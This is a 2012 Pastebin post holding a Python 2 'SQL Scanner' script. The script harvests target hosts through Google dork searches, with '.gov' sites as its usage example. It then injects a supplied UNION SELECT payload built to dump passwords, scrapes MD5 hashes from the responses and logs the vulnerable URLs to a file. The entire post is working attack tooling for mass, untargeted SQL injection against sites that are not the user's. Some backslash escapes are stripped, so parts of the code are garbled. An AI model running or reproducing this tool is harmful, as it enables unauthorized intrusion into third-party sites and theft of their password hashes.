The_KGB

[Python] SQLi Vuln Scanner

Mar 17th, 2012
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.39 KB | None | 0 0
  1. import sys, urllib2, re, sets, time, socket, httplib
  2.  
  3. def title():
  4.     print "nt   d3hydr8[at]gmail[dot]com SQL Scanner v1.0"
  5.     print "t-----------------------------------------------"
  6.    
  7. def usage():
  8.     title()
  9.     print "n  Usage: python SQLscan.py n"
  10.     print "n  Example: python SQLscan.py -g inurl:'.gov' 200 -s '/index.php?offset=-1/**/UNION/**/SELECT/**/1,2,concat(password)/**/FROM/**/TABLE/*' -write sql_found.txt -vn"
  11.     print "t[options]"
  12.     print "t   -g/-google   : Searches google for hosts"
  13.     print "t   -s/-sql  : Vuln. file plux sql injection"   
  14.     print "t   -w/-write  : Writes potential SQL found to file"
  15.     print "t   -v/-verbose : Verbose Moden"
  16.  
  17. def StripTags(text):
  18.      finished = 0
  19.      while not finished:
  20.          finished = 1
  21.          start = text.find("<")
  22.          if start >= 0:
  23.              stop = text[start:].find(">")
  24.              if stop >= 0:
  25.                  text = text[:start] + text[start+stop+1:]
  26.                  finished = 0
  27.      return text
  28.    
  29. def timer():
  30.     now = time.localtime(time.time())
  31.     return time.asctime(now)
  32.  
  33. def geturls(query):
  34.    
  35.     counter =  10
  36.     urls = []
  37.     while counter < int(num):
  38.         url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
  39.         opener = urllib2.build_opener(url)
  40.         opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
  41.         data = opener.open(url).read()
  42.         hosts = re.findall(('w+.[w.-/]*.w+'),StripTags(data))
  43.         #Lets add sites found to a list if not already or a google site.
  44.         #We don't want to upset the people that got our list for us.
  45.         for x in hosts:
  46.             if x.find('www') != -1:
  47.                 x = x[x.find('www'):]
  48.             if x not in urls and re.search("google", x) == None:
  49.                 urls.append(x)
  50.         counter += 10
  51.     return urls
  52.            
  53. def tester(victim):
  54.    
  55.     if victim[:7] != "http://":
  56.         victim = "http://"+victim.rsplit("/",1)[0]+sql
  57.     if verbose ==1:
  58.         print "Testing:",victim
  59.     try:
  60.         source = urllib2.urlopen(victim.rsplit("/",1)[0]+sql, "80").read()
  61.         md5s = re.findall("[a-f0-9]"*32,source)
  62.         if len(md5s) >= 1:
  63.             md5s = list(sets.Set(md5s))
  64.             print "n[!] MD5 Found:",''.join([str(i) for i in victim.split("/",3)[:3]])[5:]
  65.             for md5 in md5s:
  66.                 print "t[",md5,"]n"
  67.             found_sql.append(victim)
  68.     except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
  69.         pass
  70.     except(KeyboardInterrupt):
  71.         print "n[-] Cancelled -",timer(),"n"
  72.         sys.exit(1)
  73.     except():
  74.         pass
  75.    
  76. if len(sys.argv) < 6:
  77.     usage()
  78.     sys.exit(1)
  79.  
  80. for arg in sys.argv[1:]:
  81.     if arg.lower() == "-v" or arg.lower() == "-verbose":
  82.         verbose = 1
  83.     if arg.lower() == "-w" or arg.lower() == "-write":
  84.         txt = sys.argv[int(sys.argv[1:].index(arg))+2]
  85.     if arg.lower() == "-s" or arg.lower() == "-sql":
  86.         sql = sys.argv[int(sys.argv[1:].index(arg))+2]
  87.     if arg.lower() == "-g" or arg.lower() == "-google":
  88.         query = sys.argv[int(sys.argv[1:].index(arg))+2]
  89.         num = sys.argv[int(sys.argv[1:].index(arg))+3]
  90. title()
  91. socket.setdefaulttimeout(10)
  92. found_sql = []
  93. count = 0
  94. print "n[+] SQL_scan Loaded"
  95. try:
  96.     if verbose ==1:
  97.         print "[+] Verbose Mode On"
  98. except(NameError):
  99.     verbose = 0
  100.     print "[-] Verbose Mode Off"
  101. if sql[:1] != "/":
  102.     sql = "/"+sql
  103. print "[+] SQL:",sql
  104. try:
  105.     if txt:
  106.         print "[+] File:",txt
  107. except(NameError):
  108.     txt = None
  109.     pass
  110. try:
  111.     if num.isdigit() == False:
  112.         print "n[-] Argument [",num,"] must be a number.n"
  113.         sys.exit(1)
  114.     else:
  115.         if int(num) <= 10:
  116.             print "n[-] Argument [",num,"] must be greater than 10.n"
  117.             sys.exit(1)
  118. except(IndexError):
  119.     print "n[-] Need number of hosts to collect.n"
  120.     sys.exit(1)
  121. query = re.sub("s","+",query)
  122. print "[+] Query:",query
  123. print "[+] Number:",num
  124. print "[+] Querying Google..."
  125. urls = geturls(query)
  126. print "[+] Collected:",len(urls),"hosts"
  127. print "[+] Started:",timer()
  128. print "[+] Scanning hosts..."
  129. print "n[-] Cancel: Press Ctrl-C"
  130. for url in urls:
  131.     tester(url)
  132. time.sleep(3)
  133. print "-"*65
  134. print "nn[+] Potential SQL found:",len(found_sql),"n"
  135. time.sleep(3)
  136. if txt != None and len(found_sql) >=1:
  137.     sql_file = open(txt, "a")
  138.     sql_file.writelines("ntd3hydr8[at]gmail[dot]com SQL Scanner v1.0n")
  139.     sql_file.writelines("t------------------------------------------nn")
  140.     print "[+] Writing Data:",txt
  141. else:
  142.     print "[-] No data written to disk"
  143. for k in found_sql:
  144.     count+=1
  145.     if txt != None:
  146.         sql_file.writelines("["+str(count)+"] "+k+"n")
  147.         print "n["+str(count)+"]",k
  148. print "n[-] Done -",timer(),"n"
Advertisement
Add Comment
Please, Sign In to add comment